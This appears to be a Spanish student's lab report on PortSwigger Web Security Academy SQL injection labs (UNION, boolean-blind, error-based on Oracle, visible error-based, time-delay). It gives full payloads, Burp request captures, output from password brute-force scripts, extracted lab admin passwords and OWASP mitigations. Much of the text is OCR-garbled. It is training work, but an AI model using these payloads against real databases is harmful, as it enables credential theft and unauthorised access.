Accept-Language: es-419, es, 0.9

Upgrada-Insacure-Raquasts: 1

User-Agent: Mozilla/5.0 (K11, Lirux xB6_64) AppleWebKit/537.36 (KHTML,
1ike Gacko) Chrome/145.0.0.0 Safari/537.36

Accept

text/htnl, application/xhtnl+xnl, spplication/xnl; 0. 9, ivage/avif, image/v
ebp, inage/apng, */*, ¢=0. 8, application/signed-exchange, v=b3, =0. 7
Sec-Fetch-Site: zame-origin

Sec-Fetch-Mode navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Referer

https: /. b,
Accept-Encoding: gzip, deflste, br

ity-acadeny, net/

7 Priority: =0, i

ohighlights

Target: https://0248005004de3 3bd 804
Response ==
Pretty Raw Hex Render
"UNION SELEC T NULL,
username||'~'||password FROM
users--

Refine your search:

All Food & Drink Gifts Lifestyle Tech gifts

Toys & Games

carlos~tdi214hto85ekqx4l2xr
administrator~nvaddhu6dyefsrpd7u3l
wiener~erégniaz34gwlyit918q
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®  Confirmacién de "Lab Solved”

B omP o

5tts5.//0a4B005004de33bd80403f2a00dE008f. web-security-acades

SQL injection UNION attack, retrievin .
WEbSECUI’Ity m%ltl IoJ3 values in a single column BT =
Target: https:/I0n48005004de3 3 Acad em P g
Response =
= n o= in
A Congratulations, you solved the lab! Share your skills! ¥ [  Continue leaming »
e | Myaccount | L
e My Account A
:,::o vf o . Your username is: administrator
adany. rat.
Update email
s
o g OB € » ™ ™
[N [ol’ MB of 1. bled v ATERFIRTTR

Explicacion del payload:

® Payload utilizado: '+UNION+SELECT+NULL,username]||'~"|]|
password+FROM+users--
Analisis:

El apdstrofo inicial () tiene la funcion de cerrar prematuramente la
instruccion legitima de la aplicacion. El comando UNION SELECT indica a la
base de datos que debe combinar los resultados de la busqueda de
productos con una nueva instruccion no autorizada. El valor NULL se coloca
en la primera posicion para respetar la estructura requerida de dos
columnas sin causar errores de incompatibilidad de datos.

La seccion central, usernamel|'~'||password, es el nucleo del ataque: utiliza el
operador de doble barra vertical (||) para fusionar (concatenar) el nombre de
usuario y la contrasefna, separados por un simbolo de tilde (~) como
delimitador. Esta técnica logra que dos datos distintos quepan en una sola
columna. Finalmente, FROM users indica la tabla objetivo que contiene la
informacién confidencial, y los guiones dobles (--) comentan o anulan
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cualquier cddigo residual de la aplicaciéon original para evitar errores de
sintaxis que delatarian el ataque.

Mitigacion recomendada:

Para erradicar esta vulnerabilidad y alinear el desarrollo con las mejores practicas
de seguridad de OWASP, se debe abandonar la practica de construir consultas a la
base de datos uniendo fragmentos de texto directamente.

La defensa técnica principal es la implementacion estricta de Consultas
Preparadas o Consultas Parametrizadas en el cédigo fuente. Esta técnica asegura
que el motor de la base de datos trate la entrada del usuario exclusivamente como
un valor de busqueda inofensivo y nunca como un comando ejecutable. De forma
complementaria, se recomienda aplicar una validacién de lista blanca en el
backend, garantizando que el parametro de categoria Unicamente procese valores
predefinidos y estrictamente esperados por el sistema de negocio.

11. Blind SQL injection with conditional responses

®  Nivel: Practitioner

® Tipode SQLi: Blind (Boolean-based)

Objetivo del laboratorio: Extraer la credencial de acceso del usuario
administrador mediante la explotacion de una inyeccién SQL ciega para
obtener control y acceso privilegiado a la plataforma.

Explicacion técnica de la vulnerabilidad:

El parametro vulnerable reside en la cookie de seguimiento asignada a la sesion del
usuario (identificada como Trackingld). La aplicacion presenta una falla de
seguridad al tomar este valor y concatenarlo directamente dentro de una consulta
interna de la base de datos sin un proceso previo de saneamiento o validacion.

Aunque el sistema esta disefado para no mostrar errores técnicos o informacion
de la base de datos en la pantalla, altera su comportamiento visual de forma
predecible. Especificamente, si la consulta inyectada resulta ser matematicamente
o légicamente "verdadera", la pagina web muestra un mensaje de bienvenida
(Welcome back). Si la consulta es "falsa", el mensaje se omite. Este
comportamiento permite a un atacante formular preguntas ldgicas afirmativas o
negativas al sistema, logrando extraer informacién confidencial letra por letra de
manera indirecta, sin necesidad de ver la base de datos de frente.
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Procedimiento paso a paso:

® Se intercepta la peticion HTTP dirigida al servidor utilizando Burp Suite
Proxy.
® Se envia la peticidon interceptada a la herramienta Burp Repeater para su
analisis iterativo.
® Se inyectan sentencias légicas en el parametro vulnerable de la cookie para
consultar, en primer lugar, la longitud total de la contraseha del usuario
administrador.
® Se implementa un enfoque de busqueda binaria, enviando peticiones que
comparan secuencialmente si el valor numérico de un caracter especifico
de la contrasena es mayor o menor a una letra de referencia.
® Se analiza la respuesta del servidor en cada intento: la aparicion del mensaje
de bienvenida en el codigo fuente de la respuesta confirma que la condicién
evaluada es verdadera, reduciendo asi las posibilidades a la mitad en cada
paso.
® Se automatiza este flujo de comprobacion logica mediante un script que
itera sobre las 20 posiciones de la contrasefa, logrando su extraccion
completa (zp5jy1l5taltb3wm7m3l).
® Se verifica el éxito del procedimiento iniciando sesion en el portal utilizando
las credenciales extraidas.
Capturas de pantalla:
® Request interceptado
[ XX ] Burp Suite Community Edition v2026.2.3 - Temporary Proje
Dashboard Target Proxy ®  Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensi
e -
I & cancel + Bump Al
Request Response
Pretty Raw  Hex N = I

1 GET / HTTP/2

2 Host: @acd003e03461fe882dbd3f3007200f8.web-security-academy.net

3 Cookie: TrackingId=IPVJ4KgG3gfPaLfP; session=

uZ3eVKxYvxgmAAynjuWgykJLc500ZBdo

Cache-Control: max-age=0

Sec—Ch-Ua: “Chromium";v="145", "Not:A-Brand";v="99"

Sec—Ch-Ua-Mobile: ?0

Sec-Ch-Ua-Platform: "mac0S"

Accept-Language: es-419,es;q=0.9

Upgrade-Insecure-Requests: 1

0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36

1 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9, image/avif, image/w
ebp, image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

2 Sec-Fetch-Site: none

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

5 Sec-Fetch-Dest: document

6 Accept-Encoding: gzip, deflate, br

Priority: u=0, i

CoNoua

D} € > | search ©|  ohighlights  Selection: 778 (0x30a)
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® Codigo utilizado para obtener la contrasefia (Parte 1)

@ main.py > [l url

®  Descifrado de la contrasefa

% venv/bin/python3.13 ma
in.py

[*] Iniciando ataque Blind SQLi (Bisqueda Binaria)...

[*] Extrayendo contrasefia del administrador...

[+] Contrasefa encontrada: zp5jyll15taltb3wm7m9l

[!] Proceso terminado. Usa la contrasefa 'zp5jyll5taltb3wm7m9l' para iniciar sesién.




®  Confirmacién de “Lab Solved”

Web Security Blind SQL injection with conditional responses "-E Soived z

Academx Z‘ Back to lab description

Congratulations, you solved the lab! Share your skills! § [  Continue learning »

Home | Welcome back! | My account | Log out

My Account

Your username is: administrator

Email

Update email

Explicacion del payload:

® Ppayload utilizado: Trackingld=IPVJ4KgG3gfPaLfP' AND (SELECT

SUBSTRING(password,1,1) FROM users WHERE username='administrator’) > 'm

® Anailisis:

El fragmento inyectado altera la |égica original de la consulta aislando y evaluando
fragmentos de datos. El primer apostrofo (') se encarga de cerrar de manera
prematura la consulta legitima que el sistema intentaba realizar. Posteriormente, el
operador logico AND impone una nueva condicion obligatoria. La funcion SELECT
SUBSTRING extrae un Unico caracter de la contrasefa almacenada en la base de
datos (en este ejemplo, el caracter en la primera posicion). Finalmente, el operador
matematico > compara dicho cardcter contra una letra especifica (la ‘m’").

Al procesar esto, la base de datos determina si la letra real esta por encima de la
'm' en el alfabeto. Si es asi, la condicidon completa se evalua como verdadera y la
aplicacion web reacciona mostrando el mensaje de bienvenida. Cada caracter
especial y funcion cumple el proposito de transformar una consulta de base de
datos en una simple pregunta de respuesta afirmativa o negativa.
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Mitigacion recomendada:

Se recomienda implementar el uso exclusivo de Consultas Parametrizadas
(también conocidas como Prepared Statements) en todo el cddigo fuente que
interactue con el motor de bases de datos. Esta medida defensiva, considerada el
estandar principal por el marco de trabajo OWASP, garantiza que el servidor trate
cualquier entrada del usuario —incluidas las cookies de seguimiento—
estrictamente como texto literal, imposibilitando que se interprete como un
comando ejecutable. Adicionalmente, se debe aplicar una validacion de entrada
por lista blanca, asegurando que el identificador de la cookie cumpla con una
longitud especifica y contenga Unicamente caracteres alfanumeéricos autorizados.

12. Blind SQL injection with conditional errors

® Nivel: Practitioner
® Tipode SQLi: Blind (Errores Condicionales / Conditional Errors)
°

Objetivo del laboratorio: Extraer |la contrasefna de la cuenta del
administrador mediante la explotacion de una vulnerabilidad ciega vy
comprometer la sesion de dicho usuario en el sistema.

Explicacion técnica de la vulnerabilidad:

Se identifica una vulnerabilidad critica en el manejo de la cookie de seguimiento
(Trackingld). La aplicacion web toma el valor de esta cookie y lo incorpora
directamente en una consulta a la base de datos sin aplicar la sanitizacion o
validacion adecuada.

Dado que la aplicacion no muestra en pantalla los resultados de la base de datos,
no es posible extraer la informacién de forma visual directa. Sin embargo, el
sistema si revela si ha ocurrido un error interno grave. Explotando esta
caracteristica, se pueden inyectar fragmentos de codigo que formulen preguntas
de "si o no" a la base de datos. Si la respuesta es afirmativa, el codigo malicioso
fuerza intencionalmente un colapso matematico (como dividir un numero entre
cero), lo que se traduce en un mensaje de error del servidor. Si la respuesta es
negativa, el sistema funciona con normalidad. Evaluando cuando la pagina falla y
cuando no, es posible adivinar y reconstruir datos confidenciales, como
contrasenas, caracter por caracter.

Procedimiento paso a paso:
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® Se intercepta la peticion HTTP dirigida al servidor utilizando Burp Suite
Proxy.

® Se envia la peticién interceptada a la herramienta Burp Repeater para su
analisis iterativo.

® Se inyecta una comilla simple al final del valor de la cookie Trackingld para
desestabilizar la consulta SQL original, confirmando la vulnerabilidad al
recibir un error interno del servidor (HTTP 500).

® Se estabiliza la consulta concatenando una instruccion SQL valida que hace
referencia a una tabla genérica (FROM dual). Al recibir una respuesta exitosa
(HTTP 200), se confirma que el sistema subyacente utiliza el motor de base
de datos Oracle.

® Se disefa un codigo de automatizacion (script) para iterar sobre las 20
posiciones estimadas de la contrasefa del administrador.

® Se ejecuta el script, el cual inyecta condiciones matematicas que fuerzan un
error en el servidor de manera controlada, revelando secuencialmente cada
letra y nimero de la credencial.

® Se recopila la contrasefa completa (sa4294rne60goxujz6fi) a partir de los
resultados del script.

® Se accede al portal de inicio de sesidén de la aplicacion y se ingresan las
credenciales obtenidas para confirmar el acceso no autorizado y resolver el

laboratorio.
Capturas de pantalla:
® Confirmando que es una base de datos Oracle
Request Response Q==
Pretty Raw Hex 0 n = Pretty Raw Hex Render (] n =

1 GET / HTTP/2
Host: 0a8ed0e@d3d1635f818cded700fc0086.web-security-academy.net
Cookie: TrackingId=fnOGFOM1Zfv1AyCg'||(SELECT *' FROM dual)||"';
A04Ln2hQAGHWRELXVQzQiCSaEzhZjwT9

4 Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="145", “Not:A-Brand";v="99"
Sec-Ch-Ua-Mobile: 70
Sec-Ch-Ua-Platform: “mac0S*
Accept-Language: es-419,es;q=0.9

3 Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 10_15_7)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36

session=

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN

4 Content-Length: 11493

<!DOCTYPE html>
<html>
<!——LAB_HEAD_START-——>
<head>
<link href=/resources/labheader/css/academyLabHeader.css rel=
stylesheet>
<link href=/resources/css/labsEcommerce.css rel=stylesheet>

1 Accept: <title>
text/html,application/xhtml+xml,application/xml;q=0.9, image/avif, image/w Blind SQL injection with conditional errors
ebp, image/apng, */*;q=0.8,application/signed-exchange;v=b3;q=0.7 </title>

12 Sec-Fetch-Site: none </head>

13 Sec-Fetch-Mode: navigate <!——LAB_HEAD_END-—>

14 Sec-Fetch-User: ?1 <body>

15 Sec-Fetch-Dest: document <script src="/resources/labheader/js/labHeader. js">
16 Accept-Encoding: gzip, deflate, br </script>

17 Priority: u=e0, i

<!——LAB_HEADER_START—>
<div id="academylLabHeader">
<section class='academyLabBanner'>
<div class=container>
<div class=logo>
</div>
<div class=title-container>
<h2>
Blind SQL injection with conditional
errors
</h2>
<a class=link-back href='

@& € >  seach Jo) ohghights (D) &) € > | Searct » 0 highiights
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®  Codigo utilizado para descifrar la contrasefia (Parte 1)

¢ main.py

e main.py

Descifrado de la contrasena
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/Volumes/Extreme SSD/Universidad/DecimoSemestre/SeguridadInformatica/SeguridadInformaticaParcial2/CodigosPara
Laboratorios/Labl2PortSqigger/venv/1lib/python3.9/site-packages/urllib3/__init__.py:35: NotOpenSSLWarning: url
1ib3 v2 only supports OpenSSL 1.1.1+, currently the 'ssl' module is compiled with 'LibreSSL 2.8.3'. See: http
s://github.com/urllib3/urllib3/issues/3020
warnings.warn(
[*] Objetivo: https://0a8e00e003d1635f818cded700fc0086.web-security-academy.net/
[*] Iniciando ataque Blind SQLi (Conditional Errors) para extraer contrasefia...
[+] Posicién 1 encontrada: 's' -> Password parcial: s
[+] Posicién 2 encontrada: 'a’ Password parcial: sa
[+] Posicién 3 encontrada: '4' Password parcial: sa4
[+] Posicién 4 encontrada: '2' Password parcial: sa42
[+] Posicién 5 encontrada: Password parcial: sa429
[+] Posicién 6 encontrada: '4' Password parcial: sad4294
[+] Posicién 7 encontrada: Password parcial: sa4294r
[+] Posicién 8 encontrada: -> Password parcial: sad4294rn
[+] Posicién 9 encontrada: Password parcial: sa4294rne
[+] Posicién encontrada: Password parcial: sa4294rne6
[+] Posicién encontrada: Password parcial: sa4294rne60@
[+] Posicién encontrada: 'g Password parcial: sa4294rne60g
[+] Posicién encontrada: Password parcial: sa4294rne6@go
[+] Posicién encontrada: Password parcial: sa4294rne6@gox
[+] Posicién encontrada: Password parcial: sa4294rne6@goxu
[+] Posicién encontrada: 'j Password parcial: sa4294rne6@goxuj
[+] Posicién encontrada: Password parcial: sa4294rne6@goxujz
[+] Posicién encontrada: Password parcial: sa4294rne6@0goxujz6
[+] Posicién encontrada: Password parcial: sa4294rne6@goxujz6f
[+] Posicién encontrada: 'i Password parcial: sa4294rne6@goxujz6fi

[+] Extraccién completada.
[*¥] La contrasefia del administrador es: sa4294rne6@goxujz6fi
[*] Ve a /login e ingresa con el usuario 'administrator'.

®  Confirmacién de "Lab Solved”

Web Security Blind SQL injection with conditional errors —r z
Academy|[%]"  eec o e sescrion

Congratulations, you solved the lab! Share your skills! y Continue learning >

Home | My account | Log out

My Account

Your username is: administrator

Update email

Explicacion del payload:
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® Payload utilizado: fnOGFDMIZfv1AyCg'||(SELECT CASE WHEN
SUBSTR(password,1,1)="a" THEN TO_CHAR(1/0) ELSE " END FROM users
WHERE username='administrator’)||'

Analisis:

El payload funciona alterando la légica de busqueda de la base de
datos mediante la concatenacién de comandos adicionales,
representados por las barras verticales (||).

Se introduce una estructura condicional (CASE WHEN) que actua
como un filtro de validacion. La funcién SUBSTR se encarga de aislar
un unico caracter de la contrasefa del administrador en una posicion
especifica (en este caso, la primera posicién). Luego, se compara ese
caracter con una letra o niumero especifico (en el ejemplo, la letra 'a').
Si la base de datos confirma que esa letra es la correcta, se ejecuta la
instruccion TO_CHAR(1/0). Esta es una operacion matematica invalida
(divisiéon por cero) que provoca que la base de datos falle de
inmediato, lo que a su vez hace que el servidor web devuelva un error
visible. Si la letra es incorrecta, la instruccion ELSE " simplemente
devuelve un espacio vacio, permitiendo que la pagina cargue sin
problemas. Al automatizar este proceso y cambiar la letra buscada en
cada intento, se puede reconstruir la contrasefia completa basandose
puramente en los errores del sistema.

Mitigacion recomendada:

Para erradicar esta vulnerabilidad y alinear el sistema con las mejores practicas de
desarrollo seguro (OWASP), se recomienda implementar de manera estricta el uso
de Consultas Preparadas o consultas parametrizadas en todo el codigo que
interactue con la base de datos. Esta medida garantiza que los datos suministrados
por el usuario a través de las cookies u otros parametros sean tratados
exclusivamente como texto plano y nunca como codigo ejecutable por el motor
SQL. Complementariamente, se debe aplicar una politica de validacion de
entradas basada en listas de permisos (allow-lists), asegurando que parametros
como el Trackingld posean la longitud y el formato alfanumérico estricto antes de
ser procesados por el servidor.

13. Visible error-based SQL injection

®  Nivel: Practitioner
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®  Tipode SQLi: In-band (Error-based)

Objetivo del laboratorio: El objetivo consistio en comprometer la seguridad
de la aplicacion mediante la extraccién de la contrasefa del usuario
administrador desde la tabla de usuarios, utilizando una técnica de
inyeccion SQL que aprovecha la exposicion de mensajes de error detallados
del motor de base de datos para exfiltrar informacion.

Explicacion técnica de la vulnerabilidad:

La vulnerabilidad reside en el procesamiento inseguro del parametro Trackingld
contenido en la cookie de sesion. La aplicacion integra este valor directamente en
una consulta SQL sin realizar una validacion o saneamiento previo. Al manipular
este parametro, se altera la estructura de la sentencia ejecutada por el servidor. El
fallo critico se manifiesta debido a que el servidor web estd configurado para
mostrar errores detallados de la base de datos en las respuestas HTTP. Esta
configuracion permite que un atacante fuerce errores intencionales, como fallos
de conversion de tipos de datos, provocando que la base de datos incluya el
resultado de subconsultas (datos sensibles) dentro del propio mensaje de error
devuelto al cliente.

Procedimiento paso a paso:

® Se intercepta la peticion HTTP dirigida al servidor utilizando Burp Suite
Proxy.

® Se envia la peticion interceptada a la herramienta Burp Repeater para su
analisis iterativo.

® Se inserta una comilla simple (') al final del valor de la cookie Trackingld
para confirmar la vulnerabilidad; el servidor responde con un error 500 que
revela parte de la consulta SQL interna.

® Se estabiliza la consulta utilizando caracteres de comentario (--) para anular
el resto de la sentencia original y verificar que el error de sintaxis
desaparece.

® Se inyecta una funcion de conversion de tipos CAST() junto con una
subconsulta para extraer informacion. Se utiliza la estructura AND
1=CAST((SELECT password FROM users LIMIT 1) AS int) para forzar al
sistema a intentar convertir una cadena de texto (la contrasefa) en un
numero entero.
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® Se procede a eliminar el valor original de la cookie Trackingld para liberar
espacio en el bufer de la consulta, evitando que el servidor trunque el
payload y permitiendo que la sentencia se ejecute de forma completa.
® Se identifica la contrasefia del administrador dentro del mensaje de error
devuelto por la base de datos en la respuesta del servidor.
® Finalmente, se utilizan las credenciales obtenidas para iniciar sesion en la
seccion de administracion de la aplicacion, confirmando el compromiso

total de la cuenta.

Capturas de pantalla:

® Request interceptado

\\\\\\\\ y ¥ e - e -
1 3 4 5 6 7 8 3 x +

ElS o % BurpAl

Request

Pretty Raw Hex Iy n =

1 GET / HTTP/2

2 Host: 0a4a006a03d231418478542f00d100ee. web-security-academy. net

3 Cookie: TrackingId=S00AsbrKiumXplBs'; sessioreGgltHS5HhI2EQr7K7SSukLnICz40C3]s
Cache-Contral: max-age=0

Sec-Ch-Ua: "Chromium";v="145", "Not:A-Brand";v="93"

Sec-Ch-Ua-Mobile: 70

Sec-Ch-Ua-Platform: "Linux"

2 Accept-Language: es-419,es; 0.9

9 Upgrade-Insecure-Requests: 1

10 User-Agent: Mozilla/5.0 (X11; Linux xB6_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/145.0.0.0 Safari/537.36

Accept:

text/html, application/xhtml+xml, application/xml; 0. 9, image/avif, image/webp, image/apng
\*/*; qF0. 8, application/signed-exchange; v=h3; cF0. 7

12 Sec-Fetch-Site: none

12 Sec-Fetch-Mode: navigate

14 Sec-Fetch-User: 71

15 Sec-Fetch-Dest: document

16 Accept-Encoding: gzip, deflate, br

17 Priority: =0, i

IS

—
=

@@ € > | seach ©|  ohighlights

exceder el limite de caracteres
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Prueba para obtener la contrasena de

@@ € > [ serh £|  ohighlights

e e uy= —ry
Target: https://0a4a006203d23141847854f00
Response a=»~ Inspe:
Pretty Raw Hex Render ESY " = Reques
1 HTTP/2 500 Internal Server Error
2 Content-Type: text/html; charset=utf-g Reques
2 X-Frame-Options: SAMEORIGIN
4 Content-Length: 2537
- Reques
& <IDOCTYPE html>
7 <html> Reques
<!--LAB_HEAD_START-->
E <head>
10 <link href=/resources/labheader/css/acadenyLabHeader. css rel=styleshest> Reques
1 <link href=/resources/css/labs. css rel=styleshest>
12 <title>
Visible error-based SOL injection =
</title>
13 </head>
14 <1--LAE_HEAD_END- ->
15 <script sre="/resources/labheader/js/labHeader. js">
</script>
16 <!--LAB_HEADER_START-->
17 <div id="academylabHeadsr">
18 <section class='academyLabBanner'>
19 <div class=container>
20 <div class=logo>
</dive
21 <div class=title-container>
22 <h2>
Visible error-based SOL injection
</h2>
23 <a class==link-back href='

administrador que dio error por
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Cancel + BurpAl

= ¢

Request

Pretty Raw Hex
GET / HTTP/2
Host: 0a4a006203d231418478542f00d100ee. web-security-acadamy. net
Cookie: TrackingId=S@0AabrkiumXplBs| AND 1=CAST((SELECT password FROM users LIMIT 1)
AS int)--; sessior=GgltHSSHhI2EQr7K7S5ukLnICz4aC3]s
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="145",
Sec-Ch-Ua-Mobile: 70
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: es-419,es; 0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux xB6_64) AppleWebKit/537.36 (KHTML, Llike Gecko)
Chrome/145.0.0.0 Safari/537.36
L1 Accept:
text/html, application/xhtml+xml, application/xml; c=0. 9, image/avif, image/webp, image/apng
\*/* q=0.8, appl ication/signed-exchange; v=b3; =0. 7

w e

"Not: A-Brand"; v="99"

Sumaaws

L2 Sec-Fetch-Site: none

L2 Sec-Fetch-Mode: navigate
L4 Sec-Fetch-User: 71

5 Sec-Fetch-Dest: document

L& Accept-Encoding:
L7 Prierity: 10, i

gzip, deflate, br

Search »

@A € >

Done

0highlights

. - - - - . . - - w oo
m [ Cancel < v * BurpAl

Request

Pretty Raw Hex =

GET / HTTP/2
Host: 0a4a006a03d23141847854ef00d100=e. web-security-academy. net
Cookie: TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--;
session=GgltHSSHhI2EQr7K755ukLnICz40C3]s
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="145",
Sec-Ch-Ua-Mobile: 70
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: es-419, es; =0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/S.0 (X11; Linux x86_64) AppleNebKit/537.36 (KHTML, like Gecko)
Chrome/145.0. 0.0 Safari/537.36
Accept:
text /html, application/xhtml+xml, application/xml; c=0.9, image/avif, inage/webp, inags/apng
\*/%; GF0. 8, application/signed-exchangs; v=b3; 0. 7
Sec-Fetch-Sit.
Sec-Fetch-Mad
Sec-Fetch-Use
Sec-Fetch-Dest:

W

w o

"Not: A-Brand"; vw="99"

-

document
Accept-Encoding: gzip, deflate, br
Priority: =0, i

au e W

w

Confirmacion de "Lab Solved”
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Target: https://0a4a006a03d23141847!

Response = =
Pretty Raw Hex Render no=

31 </a>

32 </div>

33 <div class='widgetcontainer-lab-status is-notsclved'>

34 <span>LAB</span>

s <p=Not solveds/p>

36 <span class=lab-status-icons</span>

37 </fdiv>

38 </div>

39 </div=

40 </section>

41 </fdiv>

42 <1--LAB_HEADER_END--> .

43 <div theme=""> I

44 <section class="maincontainer"=

45 <div class="container">

45 <header class="navigation-header">

47 </header>

48 <h4=Unterminated string litersl started at position 95 in SOL
SELECT * FROM tracking WHERE id = 'S@0AabrKiumXplBs' AND 1=CAST((SELECT password FROM
users LIM'. Expected char</h4>

43 <p class=is-warning=Unterminated string literal started at
position 55 in SOL SELECT * FROM tracking WHERE id = 'S00AsbrKiumXplBs' AND
1=CAST( (SELECT password FROM users LIM'. Expected char</p>

50 </fdiv>

51 </section>

52 </div>

53 </body>

54 </html>

@& € > | search 2| ohighlights

Extraccion de la contrasena de administrador

Target: https://0a4a006a03d231418478

Response ==
Pretty Raw Hex Render 8 n =

29 </g>

30 </svg>

31 <fa>

32 </div>

33 <div class='widgetcontainer-lab-status is-notsolved's

34 <span>LAB</span>

35 <p>Not solved</p=

36 <span class=lab-status-icon></span>

37 </div>

33 </div=

39 <fdiv=

40 </section>

41 <fdiv=

42 <!--LAB_HEADER_END-->

43 <div theme="">

44 <section class="maincontainer">

45 <div class="container"s

46 <header class="navigation-header">

47 </header>

8 <h4>ERROR: invalid input syntax for type integer:
"dofvy3536ywufuygsyyu"</hd>

43 <p class=is-warning>ERROR: invalid input syntax for type integer
"dof vy3536ywufuyasyyu"</p>

</div=

51 </saction> I

52 <fdiv=

53 </body>

54 </htnl>

55

A s - = -
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B Visible error-based SQ

—— Websecurity Visible error-based SQL injection 8 soved i 1
.|Academy |

Congratulations, you solved the lab!

Share your skills! ¥ Continue leaming »

My Account

Your username is: administrator

*dof vyaaasynuf uygsyyu"

type integer: “dof

Explicacion del payload:

®  Ppayload utilizado: ' AND 1=CAST((SELECT password FROM users LIMIT 1) AS
int)--

® Analisis:
i ' (Comiilla simple): Funciona como caracter de escape para cerrar la

cadena de texto original en la clausula WHERE de la consulta SQL.

® AND 1=: Introduce una condicion logica adicional que debe ser evaluada
por el motor de base de datos.

® CAST(... AS int): Es la funcidn encargada de la exfiltracion. Al intentar
convertir el resultado de la subconsulta (texto) en un tipo de dato entero
(int), el motor de base de datos genera un error de ejecucion. Debido a la
naturaleza del error de conversion, el sistema incluye el valor que intenté
convertir (la contrasefa del administrador) en el mensaje de error.

® SELECT password FROM users LIMIT 1: Subconsulta disefada para
recuperar especificamente la contrasena del primer registro de la tabla de
usuarios.

® -- (Guion doble): Indica al motor de base de datos que el resto de la linea
debe ser tratada como un comentario, previniendo errores de sintaxis
adicionales por fragmentos de cédigo residuales de la consulta original.

Mitigacion recomendada:
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Para mitigar esta vulnerabilidad, se recomienda la implementacion de Consultas
Preparadas con el uso de parametros, lo que garantiza que las entradas del usuario
sean tratadas estrictamente como datos y nunca como cdédigo ejecutable por el
motor SQL. Adicionalmente, se debe configurar el servidor para que en entornos
de produccién los mensajes de error sean genéricos y no expongan detalles
técnicos de la infraestructura o errores de sintaxis del motor de base de datos.
Estas practicas son fundamentales dentro de los estandares de seguridad de
OWASP para prevenir ataques de inyeccion.

14. Blind SQL injection with time delays

® Nivel: Practitioner

® Tipo de SQLi: Blind (Time-based)

Objetivo del laboratorio: Confirmar la existencia de una vulnerabilidad de
inyeccion SQL ciega mediante la ejecucion de una instruccién que provoque
un retraso deliberado de 10 segundos en la respuesta del servidor.

Explicacion técnica de la vulnerabilidad:

Se ha identificado que la aplicacion web utiliza el valor almacenado en la cookie
Trackingld para realizar consultas internas en la base de datos con fines analiticos.
La vulnerabilidad se origina debido a que el servidor no sanea ni valida
adecuadamente esta entrada antes de incorporarla en la sentencia SQL. Al tratarse
de una inyeccion "ciega", la aplicacion no devuelve datos de la base de datos ni
mensajes de error descriptivos en la interfaz. Sin embargo, debido a que las
consultas se ejecutan de manera sincrona, es posible inyectar comandos que
alteren el tiempo de respuesta del servidor, permitiendo confirmar la
vulnerabilidad y, potencialmente, extraer informacién mediante inferencia
temporal.

Procedimiento paso a paso:
® Se intercepta la peticion HTTP GET / dirigida al servidor utilizando el modulo
Proxy de Burp Suite.
® Se envia la peticion interceptada a la herramienta Burp Repeater para
permitir la manipulacion y el reenvio controlado de la solicitud.
® Se localiza el encabezado Cookie en la peticion y se identifica el pardmetro

Trackingld.
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® Se modifica el valor original del pardmetro inyectando una cadena de

caracteres disefiada para cerrar la sintaxis original y concatenar una funcién

de retardo especifica para el motor de base de datos PostgreSQL.

® Se envia la peticion modificada y se observa el panel de respuesta de Burp

Repeater.

® Se verifica que el tiempo de respuesta del servidor sea superior a los 10

segundos (aproximadamente 10,000 ms), lo cual confirma que el comando

inyectado fue procesado con éxito por la base de datos.

Capturas de pantalla:

Payload que suspende el hilo de consulta

1 GET / HTTR/2

2 Host: 0=:e3009f046f275380909442007500f 3. web-security-academy. net

3 Cookie: TrackingId=x'| ng_sleep(m)l»»; sessiorF

MVt ZUxpvurc VkSwxnukd yNepLAnQYzR]

Cache-Control: max-age=0

Sec-Ch-Ua: "Chromium";v="145", "Not:A-Brand";w="93"

Sec-Ch-Ua-Mobile: 70

Sec-Ch-Ua-Flatform: "Linux"

Accept-Language: es-419, es; 0.9

Upgrade-Insecure-Requests: 1

10 User-Agent: MozillasS.© (X¥11; Linux x86_64) AppleWebKit/S37.36 (KHTML,
like Gecko) Chrome/145.0.0.0 Safari/537.36

11 Accept:
text /html, application/xhtml+xml, application/xml; c=0. 9, image/avif, image/w
ebp, image/apng, */*; ¢=0. 8, application/signed-exchange; v=h3; 0.7

12 Sec-Fetch-Site: none

12 Sec-Fetch-Mode: navigate

14 Sec-Fetch-User: 71

15 Sec-Fetch-Dest: document

15 Accept-Encoding: gzip, deflate, br

17 Priority: w0, i

“m o

19

Search o

Road To Hall of Fame (SQL Injection)

0 highlights

Burp  Project Intruder Repeater View Help Burp Suite Community Edition v2026.1.5 - Tempaorary Project

Dashboard Target Proxy ® Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Discover
1 2 3 4 5 & 7 8 9 o n x +

m @ Cancel * BurpAl Target: https://0ae3009f046f87538090!

Request Response ==

Pretty Raw Hex w no= Pretty Raw Hex Render 2B n =

1 HTTP/2 200 0K

2 Content-Type: text/html; charset=utf-8
3 X-Frame-Options: SAMEORIGIN

4 Content-Length: 11448

& <IDOCTYPE html=>

7 <html> I
3 <!--LAB_HEAD_START-->
9 <head=
18 <link href=/resources/labheader/css/academylLabHeader. css rel=
styleshest>
11 <link href=/resources/css/labsEcommerce. css rel=styleshest>
12 <title=
Elind SOL injection with time delays
</title>
13 </head=
14 <!--LAB_HEAD_END--=
15 <body>
1e <script src="/resources/labheader/js/labHeader. js">
<fscript>

<!--LAB_HEADER_START-->

<div id="academylLabHeader">
<section class='academylLabBanner'>

20 <div class=container>

21 =div class=logo=

</div=

<div class=title-container=
<h2=

